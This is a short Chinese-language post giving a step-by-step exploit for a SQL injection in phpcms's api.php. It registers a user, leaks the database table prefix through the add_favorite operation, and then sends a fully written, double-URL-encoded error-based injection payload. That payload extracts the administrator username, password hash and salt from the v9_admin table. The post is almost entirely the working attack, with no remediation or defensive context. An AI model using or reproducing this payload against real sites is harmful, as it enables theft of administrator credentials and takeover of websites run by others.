漏洞形成原因就不多说了 文件在phpcms/api.php 有兴趣的盆友可以多去挖一挖phpcms的洞子

主要利用过程：

第一步：注册一个用户

https://www.iick.blog/index.php?m=member&c=index&a=register&siteid=1

第二步：访问api文件，爆出表前缀，默认的表前缀为v9

https://www.iick.blog/api.php?op=add_favorite&url=hack1990.com&title=%2527

\

第三步：爆出用户密码（下面红色的字体就是要修改的表前缀）

https://www.iick.blog/api.php?op=add_favorite&url=v9&title=%2527%2520and%2520%2528select%25201%2520from%2528select%2520count%2528%252a%2529%252Cconcat%2528%2528select%2520%2528select%2520%2528select%2520concat%25280x23%252Ccast%2528concat%2528username%252C0x3a%252Cpassword%252C0x3a%252Cencrypt%2529%2520as%2520char%2529%252C0x23%2529%2520from%2520v9_admin%2520LIMIT%25200%252C1%2529%2529%2520from%2520information_schema.tables%2520limit%25200%252C1%2529%252Cfloor%2528rand%25280%2529%252a2%2529%2529x%2520from%2520information_schema.tables%2520group%2520by%2520x%2529a%2529%2520and%2520%25271%2527%253D%25271

 

如图：